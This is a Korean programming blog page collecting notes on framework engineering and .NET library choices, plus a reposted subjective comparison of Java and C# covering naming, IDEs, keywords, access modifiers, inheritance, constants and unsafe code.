  • 그밖에 : 문서에 소스코드를 제공하라. 에러발생시의 가이드라인 제시해라. 목차.

사용자 삽입 이미지


좋은 프레임워크란..

  • 쉽게 배워야
  • 문서 없이도 쉽게 사용해야
  • 실수하지 않도록 직관적이여야 (실패하기 힘들도록..)
  • 프레임워크 사용하면 코드가 읽기 쉬워야 (유지보수성도 좋아짐)
  • 확장이 쉬워야
  • 사용자를 고려해야..

'PP > Framework' 카테고리의 다른 글

프레임워크 구축과 발전  (0) 2012.01.04
애플리케이션과 프레임워크 동시 개발  (0) 2012.01.04
C#용 Open Source 조사  (0) 2012.01.04
프레임워크 개발 정리  (0) 2012.01.04
Spring.NET 프레임워크 활용 가이드  (0) 2012.01.04
posted by 방랑군 2012. 1. 4. 13:27
출처 :http://kimstar.pe.kr/blog/191?category=33

1-1. IoC Container


1-2. IoC, DI 정리


1-3. IoC Container 개인적인 평가

  • 잘 모르겠음. 많이 쓰는걸 쓰고 싶음.
  • 투표 : http://www.dominicpettifer.co.uk/?showResults=True 
  • StructureMap 이 오래되고 꾸준히 업데이트 되는거 같아서 좋음
  • MS가 Unity 미는거 같음
  • 자바에서는 Spring 이 대세라는것 같음.
  • 결승전 : Spring.NET vs Unity
  • 최종 : Spring.NET

2-1. ORM


2-2. ORM 개인적인 평가

  • iBatis 는 쉬워서 좋아보임. (근데... ORM 맞나?)
  • 그냥 LINQ 쓸까?
  • 결승전 : iBatis vs LINQ
  • 추가사항 : iBatis가 mybatis로 바뀌었다.
  • 최종 : LINQ, mybatis.NET iBatis.NET 

3-1. Unit Testing


4-1. Logger




 

뭐가 좋을까나....

사용자 삽입 이미지 
posted by 방랑군 2012. 1. 4. 13:27

출처 : http://kimstar.pe.kr/blog/190?category=33

프레임워크의 정의

  • 더글라스 슈미츠 (POSA2 저자) : 프레임워크는 도메인 기반의 지식으로 구성된 객체 구조와 기능을 가지고 있는 "반쯤 완성된 애플리케이션"이다.
  • 랄프존슨 : 추상클래스들의 집합과 상호 협조하는 클래스들의 인스턴스 동작방법으로 이루어진 재사용 가능한 디자인

프레임워크 개발을 위해 고려할 5가지 기본 속성

  • 1) 조직 : 조직을 먼저 구성하지 마라. 비지니스 파악 --> 관련된 프로세스 정제 --> 프로세스에 맞게 IT 조직 구성
  • 2) 계획 : 땅콩버터 (특징을 중심으로 골고루 구현하는 Bottom-UP 방식. 기능중심의 팀이 필요), 마천루(시나리오 중심으로 구현, 특정모듈에만 집중적인 개발이 됨)
  • 3) 아키텍처 : 아키텍처 타입, API, 실행, 의존성을 고려해 Layering을 구축. 의존성 분석을 위해 xDepend 같은 툴을 사용
  • 4) 설계 : 메인 시나리오에 부합되는 코드 샘플 만들기 -> 객체 모델 정의. 디자인 스튜디오 등의 툴을 사용하여 설계
  • 5) 개발 : 80/20룰을 적용해 효율성 고려
  • 6) 그밖에 : 산출물 가독성, 문서화, 네이밍룰, 프레임워크 매뉴얼

프레임워크 이해를 위한 패턴언어

  • 1) 프레임워크 선택하기 : 화이트박스(hot spots의 수정 위해 상속과 동적바인딩을 사용)/블랙박스(hot spots의 수정 위해 인터페이스를 사용)/그레이박스 프레임워크
  • 2) 프레임워크를 이용한 프로젝트 레퍼런스 만들기 : 적당한 예제단위로 레퍼런스를 구축한다면 효율성이 높음
  • 3) 프레임워크 발전시키기 : 도메인 적용되고 나타나는 문제를 해결하여 다시 프레임워크에 반영해야
  • 4) 프레임워크 학습
  • 5) 사용 경험의 보전 방법 : 프레임워크 사용경험을 문서화시키고, 실전코드들을 레퍼런스나 케이스로 정리할것
  • 6) 애플리케이션 도메인의 이해 : 프레임워크가 App에서 구현할 문제를 해결할 수 있는 범위 파악하는 것이 중요
  • 7) 프레임워크 아키텍처의 이해 : 프레임워크는 App에 직접적 영향 미침, 구조 파악하면 정확한 프레임워크 사용 가능
  • 8) 프레임워크 내부 디자인의 이해 : 프레임워크가 복잡하다고 느끼는 것은 내부 디자인이 복잡해서임.
  • 9) 프레임워크 코드의 이해 : 프레임워크 개발자의 코드는 후배들의 본보기가 되므로 잘 짜라

프레임워크 엔지니어링

  • 고려할 6가지 사항
    • 조직 (가장 강력한 설계 툴) : 콘웨이의 법칙 : 팀 구조가 소프트웨어 구조에 영향 미침
    • 계획 (프레임워크를 올바르게 구축하기 위한 계획) : 마일스톤 = 땅콩버터 + 마천루 (인프라 구축 초기에는 땅콩버터, 인프라 구축된 후 땅콩버터 유지하되 점진적으로 마천루 혼합)
    • 아키텍처 (오랫동안 사용할 수 있는 품질 좋은 프레임워크를 만들기 위한 고려사항들) : IoC 사용하여 의존성 제거할것, xDepend 도구 사용
    • 설계 (품질을 보장하기 위해 고려할 사항들) : 메인시나리오 작성 ==> 시나리오에 부합되는 코드샘플 작성 ==> 개발자들에게 피드백하여 정제 ==> 객체 모델 정의 (프레임워크 디자인 스튜디오 도구 사용), 동일성을 위해 FxCop, StyleCop 도구 사용
    • 개발 (프레임워크를 만들기 위해 팀플레이 시 고려해야 되는 사항들) : Feature별 Quality Gate 구성할것.
    • 그 외에 고려해야 되는 것들 (가독성, 문서화) : 문서 제공할것
  • 좋은 프레임워크란..
    • 쉽게 배워야
    • 문서 없이도 쉽게 사용해야
    • 실수하지 않도록 직관적이여야 (실패하기 힘들도록..)
    • 프레임워크 사용하면 코드가 읽기 쉬워야 (유지보수성도 좋아짐)
    • 확장이 쉬워야
    • 사용자를 고려해야..

프레임워크 구축과 발전 - 랄프존슨의 9가지 패턴

  • 1) 세가지 애플리케이션 패턴 : 3개 이상의 App을 만들어서 재사용 모듈 파악
  • 2) 화이트박스 패턴 : 인터페이스를 사용하여 상속하라. 없으면 구현클래스에서 유추하여 만들어라. 상속을 이용하여 프레임워크의 기능 확장 구현을 반복한다.
  • 3) 컴포넌트 라이브러리 패턴 : 재사용하지 않는 클래스는 프레임워크에 넣지않고, 애플리케이션의 구현클래스에 위치
  • 4) 핫 스팟 패턴 : 화이트박스 패턴으로 계속 추가하고, 컴포넌트 라이브러리 패턴으로 계속 제거 --> 기존 클래스와 추가될 클래스의 관계를 정의하면서 확장하여 중복을 막자
  • 5) 플러그러블 오브젝트 패턴 : 객체 생성시 다양성 구분에 필요한 인자 사용 --> 객체가 인자에 따라 행동하게 개발
  • 6) 파인-그레인드 패턴 : 간단한 API가 복잡한 API보다 사용하기 쉽다 --> Small Objects Pattern
  • 7) 블랙박스 패턴 : 애플리케이션은 요구변경에 유연해야 함 --> 클래스의 확장에는 열려있고, 수정에는 닫혀 있어야 함. --> 상속보다는 구성을 사용
  • 8) 비주얼 빌더 패턴과 언어 도구 패턴 : 프레임워크 정리한 문서, 프레임워크 사용을 도와주는 툴 등을 제공할것

사용자 삽입 이미지

애플리케이션과 프레임워크 동시 개발

  • 1) Framelets for Multiple Use : 심플할 수 있고, 3번이상 재사용될꺼면 프레임워크를 개발해라
  • 2) Budget Factor 2.5 : 프레임워크는 애플리케이션보다 비싸다. F개발 = 2.5 * A개발
  • 3) Two Pilot Applications : 매우 보편적인 요구사항을 가진 애플리케이션 2개를 먼저 만든 후 프레임워크 개발
  • 4) Small Functions : 기능은 많고 작고 단순하게 구현하라. 이해하기 좋고 많은 요구사항에 적합하다
  • 5) User Involvement : 사용자에게 같이 참여시켜서 확신을 줘라. 교육/툴/테스트/튜토리얼 제공하라
  • 6) Tests Based on Pilot Applications : 회귀테스트 - Pilot Applications에서 핵심 컴포넌트 추출 --> 보편적 시나리오 추출 --> 테스트
  • 7) Double Change Request : 기능추가 요구가 있을때 적어도 2팀 이상 원할때 추가하라.

프레임워크 리팩토링

  • 리팩토링 검증방법 : 회귀테스트
  • 테스트 케이스 작성 과정 : 테스트 대상 클래스 선정 --> 테스트 대상 메소드 선정 --> 테스트 시나리오 선정 준비
  • 테스트 시나리오 작업 : 테스트 클래스 역할 파악. 메소드 역할 파악. 메소드 파라메터 분석. 메소드 내 분기문 분석. 메소드 리턴값 분석....
  • 테스트 작성 : 테스트 의도 명확히 드러내기. 예외테스트도 수행.
  • 테스트 코드 리팩토링 : 반복적으로 사용되는 코드는 별도의 추상 클래스나 상위 클래스로 추출하여 코드 중복 제거



사용자 삽입 이미지

 

'PP > Framework' 카테고리의 다른 글

프레임워크 구축과 발전  (0) 2012.01.04
애플리케이션과 프레임워크 동시 개발  (0) 2012.01.04
프레임워크 엔지니어링  (0) 2012.01.04
C#용 Open Source 조사  (0) 2012.01.04
Spring.NET 프레임워크 활용 가이드  (0) 2012.01.04
posted by 방랑군 2012. 1. 4. 13:24
얼마전에 전병선님의 CBD책을 열심히 봤었는데..
이분의 Spring.NET 자료가 있길래 예제를 따라해 봤습니다.
역시 직접 실습해보니 DI와 AOP 개념이 더 잘 들어오네요..

슬라이드나 pdf 파일이 필요하신 분은 아래의 링크를 참고하세요..



아래 첨부한 예제는 Visual Studio 2008 에서 실행하였습니다.

'PP > Framework' 카테고리의 다른 글

프레임워크 구축과 발전  (0) 2012.01.04
애플리케이션과 프레임워크 동시 개발  (0) 2012.01.04
프레임워크 엔지니어링  (0) 2012.01.04
C#용 Open Source 조사  (0) 2012.01.04
프레임워크 개발 정리  (0) 2012.01.04
posted by 방랑군 2012. 1. 4. 13:19


내용이 너무 좋아서 퍼왔습니다.
원작자의 문제 제기시 지워질 수도 있습니다.

출처 : http://www.designe.kr/?id=46



 Java와 C#의 전반적인 관점에서 비교
해보도록 하겠습니다! 
사실 금번 학기에는 C#과 Java 두가지 언어를 사용해 프로젝트를 수행해보았는데요.
아무래도 지금 쓰는 이 “VS” 는 약간 저의 주관적인 의견이 많이 들어가게 될 것 같습니다.

사실 Java와 .NET의 플랫폼적인 관점에서 비교를 하려고도 생각해보았지만, 너무나도 범위가 광범위해질 듯 하여 좀 줄여본 게 Java나 C#의 순수한 언어론적인 비교에서부터 사소하다면 사소하다고 할 수 있는 IDE 비교까지 적다면 적고, 많다면 많은 내용을 비교할 예정입니다.

 일단은 Java와 C# 두가지의 언어론적인 관점보다는 비언어론적인 부분부터 비교해보도록 할까요?



Java와 C#의 전반적인 배경 – Java 어원 VS C# 어원


 일단은 자바부터 전반적인 배경을 살펴보겠다.

자바는 1991년 Green project 라는 이름으로 제임스 고슬린이 수행했던 프로젝트이다.

일단 이 “자바”라는 이름이 참으로 특이한데, 선택된 과정은 무작위로 선택되었다고 하지만, 그 당시 Java Coffee가 매우 유명했다고 한다. 개인적인 생각으론 그 Java Coffee 메이커의 명성을 얻어보고자 한 것이 아닐까? 라고 조심스럽게 추측해본다 :) 

Finally, a ‘critical’ Java runtime update from Apple

위가 Java의 로고이다. 커피가 그려져 있지 않은가? ㅎㅎ지금은 Java Coffee 보다도 Java가 더 유명해진 듯 하다..

한편 Java는 “Write Once, Run Anywhere”라는 문구를 통해 많이 알려져 있다.

이 문구는 한번 작성한 프로그램이 어떤 운영체제에서라도 돌아간다는 의미인데, 정말 참신하고, 멋진 생각이었던 것 같다. 지금이야 임베디드 기기면 임베디드 기기, PC라면 PC, 어디서든 자바가 빠지는 곳은 없어 보이는 듯 하다. ^^ (플랫폼적인 관점이므로, 비교에서 제외하겠습니다.)

 요즘 자바에서 많이 사용되고 있는 것들을 살펴보자면, 서버 사이드 프로그래밍으로는 JSP(Java Server Page)가 쓰이고, 웹페이지 내에서 멀티미디어 효과를 내는 데에는 자바 애플릿, 그리고 대부분 Local에서 응용 프로그램으로 쓰이는 Java SE 버전 등 여러가지가 있다.

 자바의 전반적인 배경을 살펴보았다.

“자바”라는 이름과 자바의 철학을 살펴보았는데, 점수를 주자면 10점 만점에 8점을 주고 싶다. 개인적인 생각이지만, 프로그래밍 언어에 Java Coffee라는 그다지 관련 없는 이름을 지었다는 점에서 마이너스 감점 요인이 있었던 듯 하다. ^^; (프로그래머는 매일 커피를 마시며 밤을 새야한다는 느낌을 받게 되는 점에서 감점 요인이 되었다.)

 다음으론 C#의 전반적인 배경을 살펴보겠다.

C# (“See Sharp”라고 발음)은 1998년에 시작된 프로젝트로 목표 자체가 Simple, modern, object-oriented, 그리고 타입 안전 프로그래밍 언어로 닷넷 플랫폼이라는 이름 하에 진행되었다. C#이라는 이름을 보면 사람들은 보통  “C와 C++과 같은 프로그래밍 언어에 종속되어지겠구나. “ 라고 생각하게 된다. 그리고 C++ 의미가 C with Class 라는 뜻과 “++”이라는 증가 연산자의 의미를 덧붙여서 만들어 졌듯이(C의 향상된 버전), C#도 어떠한 의미가 담겨 있지 않을까? 라고 생각이 들 수 있다.

 일단 C#은 C언어군에 뿌리를 두고 있다. 물론 Java도 C언어군에 뿌리를 두고 있지만, C#은 Java이후에 나온 언어이므로, 대략적으로 살펴보면, 거의 Java와 문법이 비슷하므로, Java의 뿌리라고 보아도 무색하지 않다고 생각한다.

 C#은 닷넷 플랫폼 내에 최적화된 언어이다. 위에서 Java가 JVM(java Virtual Machine) 상에서 돌아가듯이, C#도 닷넷 플랫폼 내의 CLR(Common Language Runtime) 상에서 돌아간다. C#도 닷넷기반의 이용을 하게 되면 Java 처럼 서버 사이드 프로그래밍 뿐만 아니라, 멀티미디어 처리까지 가능하다. ASP.NET이라고, C#을 이용하여, 서버 사이드 처리를 가능하게 하고, 실버라이트라는 이번에 나온 신기술을 통해 Flash와 같은 미려한 멀티미디어 처리가 웹상에서 가능하다. :)

 이제 C#도 점수를 매길 때가 온 듯 하다. 이번 편은 Java와 C#의 어원에 대해서 비교해보았는데, C#은 아무래도 C 계열 언어라는 계통이 확연히 드러나며, 또 그렇게 묻어났다. 물론 Java의 영향도 매우 많이 받았지만 말이다. 내 개인적인 판단과 생각으로 C#이라는 이름도 매우 참신하다고 생각한다. 악보에서 #(Sharp)의 의미는 반음 올린다는 의미이다. 이건 내 개인적인 생각이지만, 이렇게 #이라는 의미가 한단계 올린다는 의미로서, C++의 객체지향적 특성보다는 C언어에서 C++과는 다른 객체지향적 특성을 한단계 올린다는 의미에서 C#이라고 명명하지 않았을까? 하는 생각이다.
따라서 점수를 주자면, 9점 정도가 적당한 듯하다.


Java VS C# ! 8:9 C# 승 !!


 두 언어간의 IDE 비교 !

 이번 편은 자바와 C#의 대표적으로 유명한 IDE를 비교하도록 하겠다.
자바의 대표적인 IDE로써, Netbeans 6.0를 선택했고, C#은 Microsoft Visual Studio 2008로 선택했다. 
이 둘은 내가 금번 실제 프로젝트 시에 사용한 IDE이다.
 이 두 IDE를 사용하며, 가장 놀랬던 건 기대하지 않았던 Netbeans의 편리성이었다. 
내가 주로 작업하는 Visual Studio에 필적하는 편리성을 지녔고, Visual Programming 즉, Swing Programming 시에도 전혀 Visual Studio에 떨어지지 않는다고 판단했다.
거기다 2008년 Jolt Award Result도 가히 놀라운 결과를 보였다.




개발환경이라든지, 모바일 개발 툴, 웹 개발에서 무려 세부문에서 수상했다.
 Netbeans의 UML지원이라던지, 디버깅 시간 절약, 기본적인 Windows 환경에서의 GUI 프로그래밍 조차 Visual Studio에 비해 떨어지지 않는다고 판단이 되었다.

 사실 Visual Studio야 대중들이 즐겨 쓰는 IDE라 최신버전이라고 해도 이전 버전에 비해 그다지 혁신적으로 바뀐 점은 찾아 보지 못했다.

(저번 TR1 boost 세미나에 참석했을 때에, Visual C++에서 TR1을 사용할 수 있다는 점과 Microsoft .NET Framework 3.5이므로, REST나 AJAX, LINQ가 추가된 점은 꽤나 놀라웠다.)

이 두 IDE를 비교하기는 정말로 힘들다. 둘 다 너무 뛰어나고 유명한 IDE이기 때문이다.
Visual Studio는 매우 유명하고 편리한 IDE라, 점수를 측정하기 어렵고, Netbeans 또한 전혀 불편함이 느껴지지 않았고, 초보자도 쉽게 사용할 수 있는 인터페이스, 그리고 2008 Jolt Award Result에서의 수상 경력을 지니고 있어 둘 중 어떤 특정한 IDE에 점수를 더 부가하기가 어렵다.

 아쉽지만 이번 편의 승부는 무승부로 결정하게 되었다.


Java language vs C# language 언어론적 관점

 가장 민감하고 어려운 부분이지만, 내 주관적인 생각이기에 부담 없이 쓰련다.
두 언어다 타입 안전 객체 지향(Object Oriented) 언어로 겉으로 보기엔 너무 비슷해서, 얼핏 보면 구분하기 어렵지만 생각보다 다른 점이 많다.
첫째, 우선 Keywords부터 살펴보자.

Java

assert      

boolean   

extends     

final       

implements

instanceof  

native    

package     

strictfp    

super

synchronized           

throws      

trainsient

C#

as           base       bool         checked      decimal

delegate     enum       event        explicit     extern

fixed        foreach    implicit     int          internal

is           lock       namespace    object       operator

out          override   params       readonly     ref

sbyte        sealed     sizeof       stackalloc   string

struct       typeof     uint         ulong        unchecked

unsafe       ushort     using        virtual


 위의 표는 상대가 가지지 않은 Keywords를 나타낸 것이다.

 상대적으로 C#이 월등히 많다. 기능은 똑같지만 이름이 다른 것도 존재하고, 아예 기능이 존재하지 않는 키워드들도 있다. 일단 키워드만 보면 기능면에서 C#이 더 많은 기능을 가진 것 같다. 맞다. 사실 C#이 Java에 비해 C나 C++에서 상속 받은 기능도 많고, 좀 다양한 듯 하다. 따라서 C#이 키워드면에서는 우세 ^^ (물론 키워드의 수가 많다고 해서 더 좋은 언어라고 판단할 수는 없다.)

 두번째로 객체지향 프로그래밍에서 핵심이라고 할 수 있는 Class를 직접 비교해보겠다.
일단 Class란, 필드와 메소드의 결합체로써, 하나의 청사진이라고 볼 수 있다. 청사진이 있으면 여러 객체를 생성해낼 수 있듯이, Class도 마찬가지다. Class 하나로 여러 객체를 생성할 수 있다. 그렇다. C#과 Java는 Class 기반 프로그래밍이라고 해도 과언이 아니다. 이제부터 비교를 통해 한번 Java와 C#의 차이를 분석해보고자 한다.
Java든, C#이든, Class의 선언은 똑같다.


class class_name{ }

대략 위와 같은 형식이다. 이런 클래스에는 여러 접근 수정자가 존재하는데, 여기서 C#과 Java의 차이가 또 드러난다.

C#

Java

Private

Internal

Protected

Protected internal

Public

Private

Package-private

Protected

public


 Public, private, protected 세가지가 우선 같다.

아마 이 세가지는 대부분의 프로그래머라면 알고 있는 내용이다.  

public :: access not limited

private :: access limited to the containing type

protected :: access limited to the containing class or types derived from the containing class

public이란 어떤 곳에서라도 접근이 허용된다는 뜻이다.

private는 자기 자신의 객체 내에서 어디서든, 접근이 허용된다.

어떻게 보면 private는 public과 가장 대조되는 접근 수정자이다. 그리고 protected는 자기 자신과 자신을 상속받은 클래스가 접근 가능한 수정자이다.

 자바나 C# 둘다 C++과 같은 public, private, protected 세가지의 의미는 똑같고, 차이는 지금부터다.

 우선 Java에는 없는 Internal와 protected internal를 살펴보면,

internal :: access limited to this program

protected internal :: access limited to this program or types derived from the containing class.

internal의 경우 현재 네임스페이스 내에서 자유롭게 접근 가능한 수정자라고 정의할 수 있다.  Protected internal는 protected와 internal의 결합으로 볼 수 있다. Protected와 internal두 가지 특성을 동시에 가지고 있다.

 이번에는 C#에는 없는 package-private를 보자.

package-private ::accessible from any class in the package where it is declared.

Package-private는 package내의 어떤 클래스라도 접근이 가능하다는 접근 수정자이다. 이 접근 수정자가 Java의 기본 access로 정의되어 있다. C++에서는 private가 기본 access이다.
 C#의 namespace와 Java의 Package가 비슷한 의미이다. 따라서 java의 package-private와 C#의 internal은 서로 비슷한 역할을 한다고 볼 수 있다.

 java의 접근 수정자와 C#의 접근 수정자를 비교해보니 C#은 protected internal라는 하나의 접근 수정자를 더 가지고 있다. 한번도 써 본적은 없지만, 파생클래스가 다른 namespace에 있을 때에, 접근할 수 있도록 허용한 수정자이니 만큼, C#이 이번 접근 수정자에서도 추가된 기능으로 인해 앞섰다고 볼 수 있다.

 이번엔 클래스의 중요한 기능인 상속에 대해 비교해보자.

 

Java

C#

  1.  // Inheritance
    class A extends B {
      ...
    }
  2. // Interface definition
    interface IC {
      ...
    }
  3. // Extending an interface 
    interface IC extends ID {
      ...
    }
  4. // Interface implementation
    class IE implements IC, IT {
       ...
    }
  1. // Inheritance
    class A : B {
      ...
    }
  2. // Interface definition
    interface IC {
      ...
    }
  3. // Extending an interface 
    interface IC : ID {
      ...
    }
  4. // Interface implementation
    class IE : IC, IT {
       ...
    }


 클래스의 상속 받아 확장할 때에 java는 extends라는 키워드를 쓰고, C#은 “:” 를 쓰게 된다.

C++을 다뤄보신 분들은 알겠지만, C#은 C++의 클래스 상속 방식을 그대로 따라 가져왔다. 그리고 Java는 C++과의 차별화를 생각해서인지, extends라는 키워드를 쓰고 있다.

 이 두 방식은 초보자가 보기에는 java가 해석 측면에서 편할 수가 있고,(사람의 언어(영어)로 쓰였으므로, 언어를 잘 모르는 사람도 대략 추측을 할 수가 있다.) C#의 경우에는 객체지향적 개념에 익숙해진 프로그래머들에게 오히려 가독성이 증가할 수가 있다. 이 둘의 경우에도 서로간에 장점이 존재하고, 단점이 존재할 수 있다.

 그리고 인터페이스를 재구현할 때에 Java는 implements 키워드를 쓰고, C#은 확장과 똑같이 ":"를 쓴다. 초보자가 보기에는 C#은 헷갈릴 수가 있다. 물론 전문가라도 자신이 만들지 않은 코드를 보면 헷갈릴 염려가 있다.

 C#은 C++의 객체지향적 표현을 가져와 C++ 프로그래머의 유입을 기대하기 위해 표현 방식을 통일한 듯 하다. 하지만 이 경우에는 Java가 좀 더 우위에 있는 듯하다. 확실하게 확장과 재구현이 구분 가능하다.

 따라서 이 경우에는 Java에게 손을 들어주련다!
 
 

 이번에는 가상함수와 메소드 오버라이드를 비교해보겠다.

 대략 코드의 내용은 이렇다.

 부모 클래스가 있고, 아들 클래스가 있다. 아들은 부모에게 물려받은 메소드를 직접 수정하고 싶어한다.

이제 자바와 C#으로 메소드를 직접 수정해보자.

 

Java

C#

  1. class A 
    {
        public void F() { 
            System.out.println("A.F");
        }
    }
    class B extends A 
    {
        public void F() { 
            super.F();
            System.out.println("B.F");
        }
    }
    abstract class C
    {
        public abstract void F();
    }
    class D extends C 
    {
        public void F() { 
            System.out.println("B.F");
        }
    }

     

  1.  class A
    {
        public virtual void F() {
            Console.WriteLine("A.F");
        }
    }
    class B: A
    {
        public override void F() {
            base.F();
            Console.WriteLine("B.F");
        }
    }
  2. abstract class C
    {
        public abstract void F();
    }
    class D: C
    {
        public override void F() {
            Console.WriteLine("B.F");
        }
    }


 자바에서는 부모 클래스의 메소드 이름을 아들 클래스가 한번 더 정의하여 쓰고 있다.

이에 반해 C#의 경우 virtual 키워드와 override 키워드를 각각 쓰고 있다.

내 개인적인 경험상 후자의 경우가 코드의 가독성을 증가시켜준다고 생각한다.

사실 자바의 경우 상속과 다형성의 개념을 클래스 내에 체득화시킨 경우이고, (따로 virtual나 override를 쓰지 않아도 된다.) C#의 경우는 정확히 명시를 하고 있는 경우인데, 정확히 명시를 할 경우 클래스 자체의 용도를 더 파악하고, 이해하기가 쉬워진다다고 생각한다.(순전히 저의 생각 ^^)

 이유는 프로젝트 하나에 여러 프로그래머가 작업할 수 있는 경우, A프로그래머는 B프로그래머가 만든 클래스를 사용하고 싶어한다. 이 클래스가 어떠한 용도로 사용될지는 모르나, 수정해서 사용하지 말기를 권고할 필요가 있을 수 있다.

 물론 Java에서도 'final' 키워드를 통해 수정을 막을 수는 있지만 C#과 같이 virtual와 override를 정확히 명시하는 것이 프로그래머 입장에서 더 좋은 것 같다. 이러한 경우를 따져, 이번엔 C#의 손을 들어주려 한다.


  그리고 이제부터 부록편!!


 자바에는 없지만, C#에는 있는 기능들로 비교해보려 한다.

응?! 어떻게 비교를 한다는거지 ? 자바에는 없다면 대결 자체가 성사할 수 없는 것 아닌가?

사실 이번에 C#과 Java의 기능을 살펴보면서, C#의 너무나도 방대한 기능들 때문에 대결 구도를 성사시키지 못한 경우가 좀 있었다.

 하지만 분석해보면서 이게 정말 필요한지, 쓸데 없는 것은 아닌지, 라고 한번 생각해볼 수 있었다.

따라서 효율성 측면이나 간결성 측면에서 비교할테니, 한번 나가보자!


 C#에는 있지만 Java에는 없는 것들 :: structs, ref(함수 인자 레퍼런스 참조), 상수 표현 방법, Unsafe code 등


구조체 먼저 생각해보자. 정말 필요한 기능인가?

C++ 프로그래머들은 알 것이다. struct와 class의 차이는 기본 접근 수정자가 private이냐? public이냐? 에 따라 구분된다는 것을 ^^

그 이상 그 이하도 아니다.

허면 C#도 똑같을까?

C#은 구조체와 클래스가 엄연히 구분될 수 있다.

C#의 구조체는 클래스와 같이 멤버 변수와 멤버 함수를 가지고 있다. 허나, 클래스와 달리 구조체 자체는 reference type이 아니라 value type이다. 그리고 상속개념을 가지고 있지 않다. 따라서 C#의 구조체는 C의 구조체와 아주 유사하다고 볼 수 있다.

그럼 클래스보다 구조체가 훨씬 가벼울 수 있으니 필요하지 않나? 자바에는 이런 기능이 없나?

자바는 클래스가 구조체의 역할까지 모두 해낸다.

바로 Degenerate class 라고 불리는데 예로 들자면 다음과 같다.

  1. class Point{
  2. public float x;
  3. public float y;
  4. }

 위의 Degenerate class는 C#의 구조체나 C의 구조체와 거의 비슷하다고 보면 된다.

따라서 나는 C#의 structs를 쓸데 없는 기능이라고 보겠다. Java의 승 !


다음으로 ref의 기능을 보려 한다.

사실 Java에서는 함수의 인자로 값 타입(Value Type) 이외에는 정의할 수 없다.

C#에서는 함수의 인자로 ref을 씀으로써, Reference Type 을 함수의 인자로 받을 수 있다.

말할 것도 없이 C#의 승 !


이번에는 상수 표현의 방법이다.

Java에서의 상수 표현은  "final" 키워드이다. C#에서는 상수를 const와 readonly 두가지 방법으로 표현할 수 있다.

어라 ? ! C#에는 상수표현법이 두개나 있네?

const :: compile-time constants.

readonly :: runtime constants.

 둘의 차이는 유동성과 속도에 있다. const의 경우는 약간 빠르지만 유동적이지 않고 , readonly의 경우는 약간 느리지만 유동성 있는 상수를 만들 수 있다는 거다.

 그리고 const는 primitive types(int, float, enum, string)만이 상수로 선언이 가능하다.

예로 아래를 보자.

  1. //compile error
  2. private const Test TestClass = new TesetClass();

 이 경우에 컴파일 에러가 뜬다. const 대신 readonly를 사용해야 한다. readonly는 클래스 타입의 상수까지 허용하기 때문이다.

거기다 readonly는 runtime contants라고 했다. 따라서 컴파일 때 값이 결정되는 것이 아니라 값이 실행시간에 결정된다는 거다. 그와 관련된 예는 아래와 같다.

  1.  public static readonly uint l1 = (uint)DateTime.Now.Ticks;

따라서 정리해보면, readonly 키워드를 사용한 상수의 경우 유동성이 필요한 경우와 클래스 타입에 상수를 주어야 할 때 유용하고 const의 경우 정의하자면 정적인 상수 그대로 쓰고 싶을 때 쓸 수 있다.


이런 C#의 세세한 부분에 비해 Java의 상수표현법은 final 하나밖에 없다.

final은 readonly와 같이 클래스 타입의 상수도 허용한다. final로 선언한 상수는 딱 한번 값을 넣을 수 있다. final로 선언한 상수는 C#처럼 compile-time, runtime 으로 구분하지 않는다. 뭐 딱히 구분하자면 컴파일 시 값을 결정하니 compile-time이 옳다고 볼 수 있지만 말이다.


상수의 경우에는 아무래도 C#이 좀 더 세세하게 설정이 가능해서 더 점수를 주고 싶다.

따라서 C#의 승! 


 그리고 이번에는 C언어 팬이라면 잊을 수 없는 개념 하나 !

메모리 참조를 프로그래머가 직접 다룰 수 있어 때로는 매우 강력하면서도 때로는 매우 위험한 포인터를 사용할 수 있느냐, 없느냐에 관해 토론의 장을 열 수있는 Unsafe code를 "VS"의 장에 올려 보려 한다.

 사실 Java를 처음 접해보았을 때, "포인터는 어디 있지?" 라는 의문을 품어 본적이 있다. 하지만 어디에서도 포인터라는 개념을 찾아 볼 수 없었고, 어느 정도 비슷한 느낌을 받은 것이라고는 레퍼런스 참조 정도 ? 하지만 포인터의 개념이 없었기 때문에 자바를 쉽게 배울 수 있었고 고민할 거리도 줄여주었다.

 물론 C#도 마찬가지다. 사실 C#도 프로그래머의 위험한 메모리 접근을 달갑게 받아들이지는 않는 언어이다. 프로그래머가 C언어보다 C#을 먼저 접했다면 Unsafe code의 존재성 자체를 몰랐을 지도 모르기 때문이다.

 포인터에 관해선 말이 많다. 그만큼 프로그래머에게는 중요하면서도 위험한 기능인데, 이런 포인터를 C#에서는 사용할 수가 있다. 아래의 코드를 보자.

  1. public unsafe struct Node
  2. {
  3. public int Value;
  4. public Node* Left;
  5. public Node* Right;  
  6. }

이런 식으로 unsafe 수정자를 추가하면 C언어에서처럼 포인터를 쓸 수 있다.

 그치만 unsafe가 무엇인가? 안전하지 않다는 뜻이다. unsafe 내의 코드는 메모리 접근에 관한 내용을 프로그래머가 모두 관리하고, 신경써야한다. 아무래도 CLR이나 VM이 직접 관리해주는 것보다 Error가 나타날 수 있는 가능성이 훨씬 늘어 난다.

 이렇게 Error가 날 수 있는 가능성이 높아지더라도 포인터를 직접 사용해야할 경우가 존재한다. Time critical한 알고리즘을 구현할 경우나 메모리 기반 device에 직접 접근하기 위해서 꼭 필요하다. 그리고 포인터의 사용은 프로그램의 창의성을 증대시켜 준다.

 개인적으로 나 자신은 코드도 하나의 문학으로 보고, 문학의 표현은 자유할수록 더 훌륭하고 멋진 글을 낳을 수 있다고 생각한다. 하지만 시대는 이런 나만의 이런 생각을 묻혀버린다. 시대가 미래를 향해 나아가면 갈 수록 코드의 아름다움보다는 더 빠른 개발 주기를 원하고 더 많은 생산을 원하기 때문이다. (바로 누구도 어찌 할 수 없는 프로그램의 상업성 때문이다.)

 자고로 이번 Unsafe code의 경우도 프로그래머마다 필요한 기능이 될 수도 있고, 필요 없는 기능이 될 수 있다. 자바의 경우는 아예 프로그래머가 메모리 접근 운용에 관여할 수 없도록 막아버린 케이스고 C#은 프로그래머에게 Unsafe code를 통해서 어느 정도 사용할 수 있도록 열어둔 케이스이다. (어떻게 보면 Unsafe code는 에덴 동산의 선악과 열매로 볼 수도 있다. 프로그래머의 호기심과 창의적 본능에 의해 접근을 허용하지만 자칫하면 큰 재앙으로 다가올 수 있고, 잘 된다면 프로그래머의 욕구 충족에 응할 수 있는 결과를 보이기 때문이다.)

